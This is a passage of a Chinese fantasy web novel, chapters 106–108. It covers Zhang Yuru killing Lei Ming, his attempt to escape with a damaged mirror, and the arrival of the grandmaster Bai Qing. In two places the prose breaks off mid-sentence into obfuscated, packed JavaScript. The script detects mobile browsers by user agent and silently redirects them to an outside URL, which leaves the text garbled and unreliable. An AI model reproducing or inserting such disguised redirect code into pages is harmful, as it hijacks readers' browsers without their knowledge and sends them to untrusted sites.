铅灰色的云层里瞬间炸开刺目的银光,万千道银白色的雷霆如虬龙乱舞,在半空交织成一张巨网,带着撕裂空气的锐啸,朝着张玉汝的后心狠狠劈落。 冰原上霎时亮如白昼。张玉汝那苍老佝偻的背影在煌煌雷光中缩成个单薄的黑点,仿佛下一秒就要被这雷霆碾成齑粉。 雨萱在远处蹙紧了眉,丁璎珞则冷眼看着。 可那雷霆落在张玉汝身上的刹那,却像撞上了无形的屏障。 噼啪作响的电光在他肩头、后背炸开,却没能留下半分焦痕,反倒像被冻住的流水,一道道僵在原地,银亮的弧光在他褪色的衣袍上明明灭灭,最终竟化作细碎的光点,簌簌落在雪地里。 张玉汝的脚步没停,甚至没晃一下,依旧用那种近乎拖沓的速度往前挪着,枯瘦的手捏着那两件残物,指节因用力而泛出青黑。 “少在这里虚张声势了!” 雷鸣的声音发飘,却故意喊得更响,像是要借着吼声压下心底的寒意。 他猛地纵身跃起,周身雷光暴涨,整个人化作一道银紫色的闪电,带着雷部神明般的威势直扑过去,掌间雷蛇吞吐,眼看就要拍在张玉汝后心。 就在雷光及体的瞬间,张玉汝那只垂在身侧的枯手忽然动了。 那只手像是从千年寒冰里捞出来的,皮肤皱缩如老树皮,指骨嶙峋得仿佛一折就断。 可它穿过层层炸响的雷电时,那些狂暴的雷光竟像遇到了克星,纷纷向两侧退避,露出一条毫无阻碍的空隙。 雷鸣只觉眼前一花,脖颈便被那只枯手轻巧地扼住——指腹冰凉如铁,力道却重得像被山岩压住。 他喉咙里发出嗬嗬的怪响,雷光在周身疯狂窜动,却连对方半片衣袖都烧不着。 瞳孔里映出张玉汝那张布满皱纹的侧脸,灰白的发丝垂在颊边,遮住了大半眼神,只露出下颌线绷起的冷硬弧度。 “嘎巴——”脆响在寂静的冰原上格外清晰。 雷鸣周身的雷光骤然熄灭,像被掐灭的烛火。 他圆睁的眼睛里还残留着不可置信,身体却软软地垂了下去,被那只枯手随意地松开,重重摔在冻土上,激起一片碎冰。 张玉汝缓缓收回手。 指尖还沾着雷鸣颈间的温热血珠,却在接触到冷空气的瞬间凝成了暗红的冰粒。 他依旧没回头,甚至连脚步的节奏都没乱,只是那佝偻的背影在风中晃了晃,像是刚才捏碎的不是一条人命,不过是掐断了一根碍事的冰棱。 丁璎珞在远处倒吸一口冷气,下意识地后退半步。 雨萱的叹息比先前更重了些,目光落在张玉汝那蹒跚却再无人敢拦的背影上,终是化作一声几不可闻的喟叹。 第 106章 代价 雷鸣死的很草率,也很可笑。 冻土上还残留着雷鸣死前的雷光余烬,像撒了一地碎玻璃。 那具尚有余温的尸体以扭曲的姿势伏在冰面上,脖颈不自然地歪向一侧,比起“英勇牺牲”,倒更像块被随手丢弃的废柴。 丁璎珞望着那具尸体,嘴角勾起抹冰冷的弧度。 “这蠢货也不想想,宗师级都在那人手里都走不过几招,自己那点微末道行,也配来抢食?” 虽然心里在嘲笑雷鸣的愚蠢,可与此同时,丁璎珞的心里也泛起一阵阵寒意。 方才雷鸣引动天雷时的威势还在眼前晃,那等力量,寻常大师级怕是连靠近都难,可到了张玉汝手里,竟像捏死只蚂蚱般轻易。 她自忖比雷鸣聪明百倍,一个把肌肉练进脑子里的莽夫,死不足惜。 可在看到雷鸣死的如此轻易之后,指尖的冰凉却顺着身体往上爬——就算雷鸣是头蠢驴,那身修为也是实打实的硬功夫,走到大师级顶峰的存在,竟然在那只枯手下竟连半分挣扎都做不出。 林逸站在她身侧,脸色惨白,也不知道是被吓得还是冻的。 他望着张玉汝越走越远的背影,喉结滚了滚,终究没敢吐出半个字。 先前还觉得雷鸣找到了好机会,此刻才惊觉,若非那蠢货当了出头鸟,自己说不定也会被贪念冲昏头脑。 “同为大师级……”林逸的声音发涩,“怎么会……”丁璎珞没接话。 她刚才全程目睹了张玉汝**白镜时的姿态,那时的他如劲松立雪,能量流转间便有移山填海之力。 可如今这副老朽之态,按理说就算有余威,也该是**之末。 可方才那只穿过雷霆的枯手,那声轻描淡写的骨裂声,分明比全盛时更添了几分令人毛骨悚然的诡异——仿佛岁月在他身上刻下的不是衰弱,而是某种更深沉的力量。 就像陈年的酒,褪去了辛辣,却酿出了愈发醉人的后劲。 远处,张玉汝的背影已经缩成个小黑点,快要消失在冰原尽头。 他捏着碎空镜的手偶尔会晃一下,像是随时会掉落一般,蹒跚的步伐显得人极为虚弱,然而雷鸣的尸体摆在那里,比任何**都更令人胆寒。 丁璎珞忽然想起白镜死前的眼神,那种混杂着惊恐与恐惧的目光,此刻才在她心头渐渐清晰。 冻土上的风卷着沙砾般的雪粒,刮得人脸生疼。 温热的血珠落在冰面上,转瞬凝成暗红的冰晶,那点腥气很快就被寒风扯碎,散进无边无际的空旷里。 丁璎珞拽着林逸的胳膊往回走,脚步快得几乎踉跄。 她甚至不敢回头再看一眼张玉汝离去的方向,仿佛那佝偻的背影里藏着某种能吞噬一切的漩涡。 “走了,”她的声音压得很低,带着一丝不易察觉的颤抖,“别再惦记那些有的没的,我们惹不起。”林逸被她拽得一个趔趄,喉结动了动,终究没说出话来。 他脑子里反复回放着方才那一幕——雷鸣化作雷光扑过去时的决绝,枯手穿过雷电时的轻巧,还有那声脆响落下时的死寂。 这些画面像冰锥,一下下凿着他的神经。 正常情况下,大师级与宗师级之间横亘的鸿沟,几乎如天堑般难以逾越。 这就像山间奔涌的溪流与无垠的江海——纵使溪流在汛期时能掀起丈高浪头,裹挟着碎石泥沙奔腾咆哮,可当它汇入江海,那些汹涌的力道便会被无垠的水域悄无声息地消解,连一丝涟漪都难以惊起。 宗师级对能量的掌控早已臻至化境,举手投足间便能引动天地规则,这种对力量本质的理解,足以让他们对大师级的攻击产生近乎天然的抗性。就像披了层无形的屏障,寻常的能量冲击落在上面,不过是水滴撞向磐石,徒然碎裂罢了。 若张玉汝当初选择用常规手段与白镜对峙,别说伤及对方分毫,恐怕连白镜周身那层流动的护体能量层都难以破开。 须知宗师级的能量壁垒,每一寸都蕴含着对能量的极致压缩,大师级的攻击落在上面,能激起百分之一的涟漪已是极限,更多时候不过是蚍蜉撼树,徒劳无功。 不过凡事总有例外。 在能力者的世界里,总有少数天赋异禀之辈,能在大师级的阶段便触碰到宗师级的门槛,提前掌握一些属于更高层级的力量。 这些力量或许还很微弱,如同风中摇曳的烛火,却已具备了撬动规则的潜质。 若是运用得当,在特定的时机爆发,的确能对那些实力较弱、或是尚未完全稳固境界的宗师级能力者造成不小的麻烦,甚至能抓住破绽,给予对方意想不到的重创。 当然,即便做到了这一步,也远远谈不上碾压。 这种跨越层级的攻击,更像是一场刀尖上的舞蹈,成功与否全凭运气与时机,最多也只是为自己争取一线生机,或是找到逆转局势的契机,想要彻底压制宗师级,依旧是难如登天。 可张玉汝却在与晋升宗师后的白镜的两次交手中,都击败了对方,并且一次比一次下手狠厉。 若是说第一次交手,还有白镜初晋宗师、境界未稳,又因大意而给了张玉汝可乘之机的缘故,那么第二次交手,白镜已是严阵以待,将宗师级的力量催动到了极致,却依旧毫无还手之力,如同砧板上的鱼肉,被张玉汝以摧枯拉朽之势彻底碾压。 能做到这一点的张玉汝,自然不是仅仅掌握了一部分宗师级力量那么简单。 他体内潜藏的力量,早已超越了这种粗浅的层级划分,如同深海之下的暗流,看似平静无波,实则蕴藏着足以颠覆一切的恐怖能量。 在下定决心要以不惜一切代价杀掉白镜的那一刻,张玉汝的眼神里最后一丝犹豫也熄灭了,取而代之的是一种近乎自毁般的决绝。 他抬手按在自己的心口,指尖那几不可见的能量忽然剧烈地跳动起来,像是有什么东西要从皮肉下挣脱出来。 他对自己动用了「刹那芳华」。 以燃烧生命本源为代价换取力量暴涨。 第一次催动时,骨骼发出细密的脆响,像是有无数根钢针在经脉里游走,伴随着撕裂般的剧痛,一股滚烫的能量从丹田涌向四肢百骸,猛烈的力量带来的是同样猛烈的痛苦。 但他没有停手,而是咬着牙,一次又一次地叠加「刹那芳华」的效果。 每一次催动,他的头发就更白一分,皮肤下的血管便突起一分,连呼吸都带着越来越浓重的血腥气。 他距离宗师的门槛本就不远,只需再沉淀些时日,或许便能自然而然地突破,可此刻,他选择了最惨烈的方式——以生命本源为薪柴,强行点燃力量的烈焰。 当第七次「刹那芳华」的光晕在他体内炸开时,那道横亘在大师与宗师之间的无形壁垒终于被硬生生撞碎,一股属于宗师级的威压如潮水般扩散开来,压得周围的冻土都微微下沉。 可这代价太过沉重。每一次力量的暴涨,都像在剜掉他一块血肉,生机正以肉眼可见的速度从他眼角的皱纹里、从他枯瘦的指节间流逝。 他清楚地知道,这种依靠禁术得来的力量,不过是镜花水月,转瞬即逝。不惜一切代价换来的,若只是刹那间的芳华,那之前所有的牺牲都将变得毫无意义,这绝不是他想要的结果。 因此,在力量攀升至巅峰的瞬间,他同时燃烧本源催动了「永恒」。 墨色的能量从他脚下蔓延开来,如同一张巨大的网,将整片冰原都笼罩其中。 这「永恒」既是为了彻底封锁白镜,让对方如同困在琥珀里的虫豸,无论如何挣扎都无法逃离这片禁锢之地;更是为了将自己此刻的状态死死锁住——让那些依靠「刹那芳华」催发的力量不再流逝,让这刹那绽放的芳华,能在时间的长河里定格成永恒。 在「永恒」的光纹彻底稳定下来的那一刻,张玉汝感到体内奔腾的力量终于变得温顺。 他抬手时,指尖能引动更磅礴的能量,周身的威压也稳定在了宗师级的水准,再也没有了之前那种随时会溃散的虚浮感。 在「永恒」被解除之前,他完完全全可以被视作一名货真价实的宗师级能力者。 也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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若非雷鸣被贪念冲昏了头脑,非要撞上来送死,他本打算就这样离开。 掌心那两件残物的温度还没散去,白镜临死前的眼神还在眼前晃动,他实在没多余的心力再去理会旁人的生死。 可雷鸣终究还是败在了自己的欲望里。 或许凉风之山这地方本就容易放大人心底的恶念,或许他骨子里的贪婪早已盖过了理智,但归根结底,还是他自己掂量不清分量。 在张玉汝体内那部分尚未完全散去的宗师级力量面前,他的雷霆就像孩童手里的玩具,看似凶猛,实则不堪一击。 当那只枯萎的手捏住他脖子时,雷鸣瞳孔里炸开的惊恐,与其说是意外,不如说是终于看清了双方差距的绝望。 这样草率的结局,对一个被贪念吞噬的蠢货而言,其实早已注定——就算没有今日的张玉汝,他日也总会栽在另一个比他更强的人手里。 张玉汝早已做好了付出一切的准备。青春如指间沙般流逝也好,生命本源被寸寸燃尽也罢,从决定对自己动用「刹那芳华」的那一刻起,他就将所有的后果都纳入了考量。 所以此刻,无论身体正被怎样的衰朽啃噬,无论前路还藏着多少未知的凶险,他的眼神里始终透着一种近乎漠然的平静,仿佛眼前的一切早已在预料之中,坦然接受便是。 可雷鸣显然没做好任何准备。他的瞳孔在最后一刻还圆睁着,里面凝固着未散的惊惶与不甘,像是到死都没明白,自己为何会落得这样的结局。 那声脆响过后,他的身体便重重摔在冻土上,再无半分声息。 或许对雷鸣而言,生命的结束也是痛苦的终结。生前被贪念驱使,为虚名奔波,死后反倒落得个彻底的安宁,再不必为得失计较,不必为强弱焦虑。 那些因愚蠢而起的波折,那些因贪婪而生的痛苦,都随着脖颈处那道致命的伤痕,一同化作了虚无。 而张玉汝,在付出了如此巨大的代价之后,却还要拖着这副残破的躯壳,继续面对眼前这惨淡的人生。 第 107章 求生 张玉汝的脚步沉重得像是灌了铅,每挪动一寸,全身的骨骼都在发出细碎而刺耳的摩擦声,咯吱作响,仿佛下一秒就要散成一堆支离破碎的骨片。 寒风卷着冰碴子打在他脸上,他却连眨眼的力气都快匀不出来,只能任由那刺骨的寒意顺着皲裂的皮肤往里钻。 被他死死攥在掌心的碎空镜,边缘锋利如刀,早已将掌心的皮肉割开一道狰狞的口子。 黯淡的血珠从伤口里缓缓渗出,刚触到冰冷的镜面,便在极寒中凝结成细小的血珠,又顺着镜身缓缓滑落,滴落在脚下的冻土上,瞬间冻结成一颗颗暗红的冰晶,嵌在冰面的裂纹里,像极了凝固的泪。 可他对此毫无知觉,连眉头都未曾皱一下,只是凭着一股近乎本能的执念,将那面镜子攥得更紧,指节因为用力而泛白,几乎要嵌进镜面里去。 他的身躯晃了晃,像是狂风中随时会折断的枯木,好几次都差点栽倒在地,却又总能在最后一刻稳住身形。 破碎的衣袍早已被风雪浸透,贴在身上如同冰甲,每走一步都带着撕裂肌肉般的沉重,可他那双浑浊的眼睛里,却始终燃着一点微弱却执拗的光,支撑着他没有倒下。 就在这时,脚下的冻土忽然传来一阵细微却清晰的震颤。 那震颤并非风刮过冰原时的摇晃,而是从地底深处涌上来的、带着某种诡异韵律的搏动,一下,又一下,像是远古巨兽的心跳,顺着脚掌传遍全身,让他本就虚弱的身体不由自主地跟着颤抖。 他下意识地抬头望去,只见远处的冰丘正在以肉眼可见的速度消融。 原本高耸如峰的冰层迅速塌陷,化作一股股白色的蒸汽升腾而起,露出下面覆盖着的岩层。 那些岩层泛着幽幽的青光,像是被注入了生命般,表面的纹路正在缓缓蠕动。 而头顶的云层,不知何时起旋转得越来越快,像是被一只无形的巨手狠狠搅动着,形成一个巨大的旋涡。 旋涡中心的云层越来越薄,最终彻底散开,露出中间那片深不见底的暗紫色旋涡——旋涡边缘的气流扭曲着,发出呜呜的呼啸声,隐约能看到里面翻滚的星云碎片,正是空间通道正在加速成型的征兆。 一股不祥的预感猛地攫住了张玉汝的心脏,他张了张嘴,却发不出任何声音,只能眼睁睁看着那暗紫色的旋涡越来越大,仿佛一张择人而噬的巨口,正缓缓向这片冰原压来。 凌风**,白镜**,雷鸣也**。 三个曾在雪域高原搅动风云的名字,如今已随着他们的气息一同湮灭在风雪里。 最后一丝属于雷鸣的雷光在冻土上熄灭时,连呼啸的寒风都仿佛停滞了一瞬,带着一种诡异的死寂,漫过张玉汝的耳畔。 随着这三股力量彻底消散,脚下的凉风之山忽然发出一声沉闷的嗡鸣,像是沉睡的古老法阵终于被触动了潜藏的机制。 大地深处传来的搏动骤然变得急促,连空气里漂浮的冰碴都开始随着某种无形的韵律震颤。 原本还需要一刻钟才能稳定的空间通道,此刻正以肉眼可见的速度凝实。 通道边缘那圈流转的能量涟漪越来越清晰,像是打翻了的调色盘,在暗紫色的天幕下漾开层层光晕。 透过涟漪的缝隙,甚至能隐约看到对面世界的光影——有摇曳的树影,有流动的云絮,还有一闪而过的、属于人间的烟火气。 张玉汝艰难地抬起头,浑浊的眼睛里映出那片越来越清晰的通道,瞳孔微微一缩,闪过一丝了然。 他能清晰地感知到空间能量的流动,那股力量正以疯狂的速度汇聚、压缩,最多还有两三分钟,这道通向外界的空间通道就会彻底洞开。 到了那个时候,这里残存的所有人,无论强弱,都会被通道释放的空间引力强行卷入,身不由己地传送至外界。 张玉汝的嘴角扯出一抹苦涩的弧度。就算他体内还残留着一丝宗师级的力量,此刻也已是**之末,真到了那一步,恐怕也无济于事。 他更清楚,通道的另一端等待着他们的,绝不是坦途。 因为在凉风之山外,在那片看似平静无波的天地里,正站着一个真正的庞然大物——大宗师白磬。 那是白镜的亲族长辈,是自然教会里一手遮天的存在,以雷霆手段掌控着教会半壁江山,心性狠戾,手段更是深不可测。 想来,他此刻正守在通道尽头,等着白镜带着捷报归来。 可惜,他大概等不到什么好消息了。 但打了他亲族的脸,坏了他大事的自己,恐怕也不会有什么好下场。 张玉汝缓缓低下头,望着掌心那面早已被血与冰浸透的碎空镜,眼底的光忽明忽暗,不知在想些什么。 “还有机会。”张玉汝用几乎听不见的气音对自己说,声音在寒风里碎成星点,却像一根细针,刺破了弥漫在心头的绝望。 干掉白镜的那一刻,积压在胸腔里的郁气终于散了大半,那些纠缠许久的仇恨如同冰雪消融,许多曾耿耿于怀的事,此刻再想起来已觉淡然。 可释然并非认命,他还不想就这样倒在这片冰原上——死亡若真是终点,他宁愿在抵达前再搏一次,哪怕只有万分之一的可能。 他攥紧了掌心的碎空镜,指腹摩挲着镜面的裂痕,那道微弱的机会,正藏在这件几乎耗尽的宝物里。 碎空镜虽被白镜的力量伤及本源,镜身布满蛛网般的裂纹,可其核心的空间之力尚未完全溃散。 白镜本非空间异能者,却能凭它撕裂虚空、穿梭于冰原各处,甚至勉强支撑起临时空间壁垒,可见这面古镜的底蕴有多深厚。 如今落到自己手中,哪怕只剩残躯,未必不能再借它撬动一丝空间的缝隙。 至于玄霜云珀,那枚曾在他掌心流转着清辉的晶石,此刻已黯淡如普通石块,内里蕴含的精纯能量被他强行催谷,早已消耗了七七八八。 它本有助人突破境界的神效,更能滋养神魂、修复本源,可眼下残余的力量,别说助他突破瓶颈,就连身上那些深入骨髓的伤势也无法彻底根除。 但张玉汝眼底还是燃起了微光。不够彻底,不代表毫无用处。 玄霜云珀剩下的能量,至少能让他涣散的内息重新凝聚几分,让那些几乎冻僵的经脉活络些许,更能让他浑浊的视线清明一瞬——只要恢复这一丝气力,或许就能抓住碎空镜那转瞬即逝的空间波动。 他缓缓松开紧握的手,将掌心的碎空镜移到眼前,另一只手颤抖着探入怀中,摸出那枚冰凉的玄霜云珀。 两件宝物在他掌心相触的刹那,镜身的裂痕里忽然闪过一丝极淡的银芒,而云珀表面也沁出一缕若有若无的白气,像两只濒死的蝴蝶,在寒风中相互触碰着翅膀。 张玉汝深吸一口气,冰冷的空气灌入肺腑,带来一阵剧痛,却也让他更加清醒。 他知道,留给自己的时间,已经不多了。 张玉汝左手将碎空镜攥得更紧,镜身的冰凉透过掌心的伤口渗进来,反而让他混沌的意识清醒了几分。 右手则缓缓托举起那枚黯淡的玄霜云珀,指尖微微用力,催动着内里残存的最后一丝能量。 片刻后,一缕青蓝色的微光终于从云珀深处悠悠飘出,像极了寒冬里勉强挤出的一缕春意。 那光芒初时微弱如萤火,顺着他右手的脉络缓缓游走,所过之处,原本冻得僵硬的皮肤泛起一层淡淡的暖意,连带着指节的僵硬都舒缓了些许。 随着能量不断涌流,光芒渐渐变得明晰,沿着手臂的经脉一路向上,如细流漫过干涸的河床,缓缓渗入他的四肢百骸。 张玉汝体内的变化是惊人的。 那些因岁月与伤势而老化的骨骼,原本每动一下都像在碾磨碎石,此刻竟传来一阵酥麻的痒意,仿佛有细密的生机正从骨缝里钻出来。 松弛的皮肤慢慢收紧,眼角与额头那些深如沟壑的皱纹悄然变浅,原本灰败的面色也透出几分淡淡的血色。 他能清晰地感觉到,涣散的内息正顺着能量流转的轨迹重新凝聚,那些冻得几乎失去知觉的经脉,也在暖意的包裹下渐渐舒展、活络起来。 不过短短数息,张玉汝整个人的状态已判若两人。 虽依旧带着重伤未愈的虚弱,鬓角的白发也未能转黑,但那股老态龙钟的衰败之气已然散去。 原本如同六七十岁老翁般佝偻的身躯挺直了些许,浑浊的眼眸里也多了几分清亮,整个人看上去竟像是回到了四五十岁的模样,虽有风霜刻痕,却已不见濒死的颓态。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16067336|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他低头看了眼掌心的玄霜云珀,那青蓝色的光芒已再度黯淡下去,显然内里的能量已所剩无几。 但这就够了。 张玉汝抬起头,望向头顶那片旋转的暗紫色旋涡,左手的碎空镜仿佛感应到了什么,镜身的裂纹里忽然闪过一丝极淡的银芒,与他体内重新凝聚的气息遥遥呼应。 碎空镜这类蕴含空间本源的至宝,从不是谁都能轻易驾驭的。 自然教会为防落入外人之手,早已在镜身布下层层叠叠的禁制,如同一道又一道精密的锁,环环相扣,暗藏玄机。 这些禁制极为苛刻,哪怕只是在催动时错动了一丝能量的流向,或是对空间节点的把控偏差了分毫,镜面便会立刻触发自我保护机制。 轻则泛起一阵刺目的白光,表层浮现出新的裂纹,进入暂时的封锁状态。 重则直接震散碎空镜内部的核心,在修复完成前,任凭是谁都休想再借到半分空间之力。 换做旁人,面对这等复杂诡谲的禁制,多半只能束手无策,要么在一次次试错中彻底毁掉镜子,要么只能望镜兴叹。 但对张玉汝而言,这些看似无解的阻碍,却并非无法逾越的天堑。 他那双曾因衰老而浑浊的眼眸,此刻在玄霜云珀的滋养下,正缓缓亮起一层温润的光泽——那是「造化之眼」的正在苏醒。 此异能能勘破万物本源,哪怕是禁制内部流转的能量轨迹、节点的排布规律,在他眼中都清晰如掌上纹路,每一处细微的变化都无所遁形。 更关键的是,他身负的「颠倒」之力,恰是这些禁制的克星。 即便偶尔操作失误,触发了镜面的损毁机制,他只需心念一动,那股能逆转物质状态的力量便会涌至镜身,让刚出现的裂纹悄然愈合,让紊乱的能量重新归位,将一切破损恢复如初。 有这两大能力相辅相成,张玉汝试错的成本几乎为零。 他只需耐着性子,顺着「造化之眼」窥见的脉络一点点摸索,总能在有限的时间里,摸清碎空镜的每一处禁制机关。 所以,掌握这面古镜的使用之法,对他而言不过是时间问题。 此刻的他,正一边运转玄霜云珀残余的能量稳住气息,一边凝神注视着掌心的碎空镜,目光沉静而专注,仿佛在与一件沉睡的古物进行着无声的对话。 在那道足以撕裂虚空的通道彻底开启之前,对于身陷绝境的张玉汝而言,若想从眼下的死局中求得一线生机,唯一的破局之法便是借助空间的本源力量撕开一条生路。 要知道,在一位大宗师级别的强者感知范围内,任何试图依靠速度、隐匿或是元素之力逃脱的手段,都如同黑夜中的烛火般显眼,根本无从遁形。 那是一种近乎规则层面的掌控,足以覆盖周遭千里之内的每一缕风、每一粒尘,寻常力量在其面前,不过是蚍蜉撼树。 万幸的是,张玉汝此刻恰好寻到了这样一个契机。 在他脚下,一道由古老符文交织而成的阵法正缓缓流转,淡青色的光晕如同呼吸般起伏,每一次脉动都在悄然引动着周围空间的细微震颤。 按照他的计算,在空间通道打开之前,他应该能够完成自己的计划。 然而,命运似乎对张玉汝并不友好。 就在张玉汝全神贯注地引导着最后一批符文融入阵法核心,进度条堪堪走到三分之二的刹那,一股截然不同的气息毫无征兆地降临了。 那是一种难以言喻的磅礴力量,仿佛整片天地都在这一刻被按下了暂停键。 起初只是一丝若有若无的威压,如同远山之巅的积雪般冰冷而厚重,可转瞬间便化作了铺天盖地的洪流,压得人呼吸一滞。 空气仿佛凝固成了实质,脚下的阵法光晕剧烈地波动起来,几处刚稳定的符文甚至直接崩碎,化作点点荧光消散在空中。 张玉汝猛地抬头,瞳孔骤然收缩。 只见天际尽头,一道白衣身影正踏着虚空缓缓走来,衣袂飘飘间不带丝毫烟火气,可每一步落下,都让大地微微震颤,仿佛有一尊无形的巨山正在逼近。 那双眼眸平静无波,却带着俯瞰众生的漠然,仿佛在看一只误入殿堂的蝼蚁。 白磬,终究还是降临了。 第 108章 活路? 在白磬降临之前,这座高达万米的雪山早已显露出种种反常。 山巅的罡风本是常年不息的怒涛,此刻却像是被一只无形的手扼住了咽喉,时而骤然暴涨,卷起千万吨冰雪在灰蓝色的天幕下凝成旋转的冰龙。 龙鳞上的冰棱反射着惨淡的天光,发出割裂空气的尖啸;时而又骤然哑火,连贴地的雪粒都静止在半空中,仿佛时间被冻住了似的,只有山壁上悬挂的冰瀑还保持着坠落的姿态,晶莹的冰珠悬在半空,折射出细碎而诡异的光斑。 那些本就稀少的生灵更是陷入了灭顶的恐慌。 栖息在海拔八千米以下岩缝里的雪豹,此刻正蜷缩在巢穴最深处,蓬松的尾巴死死裹住身体,喉咙里发出压抑的呜咽,连最轻微的呼吸都带着颤抖。 偶尔掠过冰原的雪枭则拍打着翅膀疯狂逃窜,却像是撞上了无形的墙壁,在半空徒劳地盘旋,利爪徒劳地抓挠着空气,最终失魂落魄地栽向陡峭的冰崖。 唯有山巅那些万年不化的冰层在反常中透出诡异的活跃,冰层深处传来沉闷的碎裂声,像是有巨物在冰下苏醒,表面的冰纹则以肉眼可见的速度蔓延,如同蛛网般覆盖了方圆数里的冰原。 而当白磬的力量如同天幕倾轧般降临的刹那,这些异象便以一种近乎粗暴的方式骤然消失了。 罡风瞬间平息,悬浮的雪粒齐刷刷坠回地面,连声响都没有;冰龙崩解成漫天冰雾,在阳光下化作一道转瞬即逝的彩虹。 冰瀑恢复了流动,坠落的冰珠砸在下方的冰潭里,溅起细碎的冰花。那些惶恐的生灵仿佛被抽走了所有力气,雪豹瘫在巢穴里大口喘气,雪枭则一头栽进雪堆,露出半截翅膀一动不动。 冰层深处的碎裂声戛然而止,留下遍布冰原的裂纹,像是大地被冻僵的伤口。 与这寂静一同湮灭的,还有雪山内部奔涌流转的各种能量。 那些在冰层中沉睡了千年的地脉之气,像是被无形的屏障隔绝开来,原本在冰缝中闪烁的幽蓝光点瞬间熄灭,连带着张玉汝体内运转的**气息都被硬生生掐断。 他能清晰地感觉到,自己经脉中那些奔腾的能量如同撞上了冰山的溪流,瞬间冻结成冰,连一丝余温都未曾留下。 张玉汝正凝神运转的**,那进度条在他的感知中原本已稳健地爬到了三分之二的位置,此刻却像是被无形的重锤狠狠砸中,进度条上的光点瞬间溃散,化作无数细碎的光粒,顺着他的经脉逆流而回,最终归于沉寂。 他甚至能“看”到那些光粒在回流的过程中,撞上经脉壁时迸发出的微弱火花,随即被雪山的寒气彻底扑灭。 这并非白磬刻意为之,甚至他或许都未曾留意到冰原上还有这样一个渺小的存在。 但大宗师的威压本身,便如天地法则般具备着不容置疑的禁锢之力,如同在冰封的湖面上投下巨石,涟漪所及之处,一切细微的波动都只能被迫臣服。 若要做个贴切的类比,大概就是一个在边关驿站里埋头抄写文书的小吏,正握着狼毫在竹简上刻下最后几个字,案头的油灯还跳动着昏黄的火苗,砚台里的墨汁结着薄薄一层冰碴。 就在这时,身着紫袍的钦差带着凛冽的寒气,从他身后的帐帘外缓步走过。 钦差的目光或许正落在远处的烽火台上,或许正思索着军报上的字句,自始至终都没有往他这边瞥过一眼,但那股与生俱来的官威,却如寒风般灌进小吏的领口。 他握着笔的手指会猛地一颤,笔尖在竹简上划出一道歪斜的刻痕,紧接着,整个人便僵在原地,连呼吸都变得小心翼翼,先前全神贯注的心思瞬间被打散,手上的差事自然也就被生生打断。 而此刻的张玉汝,处境比那小吏还要窘迫几分。 他不仅被打断了正在进行的**运转,甚至连重新凝神聚气、再续前功的念头刚一冒出来,就被体内那股无形的压制力碾得粉碎。 胸口处像是压着一块从山巅凿下的玄冰,无论他如何调动心神,都无法再引动半分能量,四肢百骸更是沉得如同灌满了铅,连抬一抬手指都要耗费极大的力气,指尖的皮肤甚至因为这股压力而泛起淡淡的青紫色。 更让他心头发紧的是,他能清晰地感知到,一股无孔不入的视线正缓缓扫过自己全身上下的每一寸地方。 从发间凝结的冰霜,到靴底嵌着的冰碴,从指尖残留的能量余韵,到经脉中尚未完全平息的悸动,都被那道视线细致地捕捉着,仿佛在翻阅一本摊开的冰书,连最微小的纹路都不曾放过。 大宗师级能力者那如同天网般的感知,早已如穹顶般覆盖了整个凉风之山。 这座高达万米的雪山,在对方眼中就像是掌中的冰雕,每一道冰脊的起伏、每一条冰缝的走向都清晰可见,而张玉汝这道渺小的身影,自然也不可能在这样的感知下藏住丝毫举动。 就算是他引以为傲的融身自然的手段,此刻也显得苍白无力。 他曾依靠这门绝技,在无数次险境中与冰雪融为一体,让追捕者对着茫茫雪原束手无策。 可在大宗师面前,这种需要刻意维持的技巧就像孩童玩的堆雪人游戏,显得太过多余。 只要对方确定了他的存在,那便如同在白皑皑的雪地上点了一团火焰,无论他如何挪动位置,如何试图与周围的冰雪混为一谈,都不可能再抹去那道清晰的印记。 张玉汝心中更是泛起一阵苦涩。 他依靠「造化之眼」看破虚妄的洞察力,结合「加速世界」将感知提速百倍的敏锐,曾让他在同辈中难逢敌手,能轻易捕捉到对手招式间最细微的破绽。 可如今他才明白,这些引以为傲的能力,对于大宗师而言,不过是如同呼吸般自然的身体基础配置罢了。 就像冰原上的雄鹰无需刻意学习便能俯瞰千里,深海中的巨鲸不必费心练习就能感知洋流,大宗师的感知力本就涵盖了这一切,无需借助任何外力加持。 白磬的目光如两道实质的银辉,缓缓扫过凉风之山的每一寸冰岩。 所有生命的脉动都在他的感知中清晰浮现,如同铺开了一幅详尽的画卷,每一个微小的生命都在画卷上留下了独特的印记。 那些跳动的生命之火或明或暗,有的炽热如篝火,有的微弱似残烛,却都逃不过他的注视。 “居然放了这么多人进来吗?”白磬的声音在空旷的冰原上响起,带着一丝不易察觉的淡漠。 他的目光在那些不属于己方势力的生命气息上稍作停留,眉头微不可察地蹙了一下,随即又舒展开来。 有其他势力的人被放进来这件事,白磬其实早就知道了。 那些势力为了能在凉风之山分一杯羹,付出的代价、许下的承诺,他都了如指掌。 但这些利益交换在他看来,不过是孩童过家家般的把戏,对于站在世间顶端的大宗师而言,金银财帛、权力地位,都如同脚下的冰雪一般俯拾皆是,根本不值得耗费心神去计较,那些都只是细枝末节的事情。 他现在心中唯一记挂着的,只有一件事。 “白镜在哪?”白磬的目光骤然收敛,如同两道精准的利箭,直直落到了人群中雨萱的身上。 那目光带着一种不容置疑的威严,仿佛能穿透一切伪装,直抵人心最深处。 当自己被白磬的目光锁定的瞬间,雨萱只觉得一股磅礴的压力如泰山压顶般袭来。 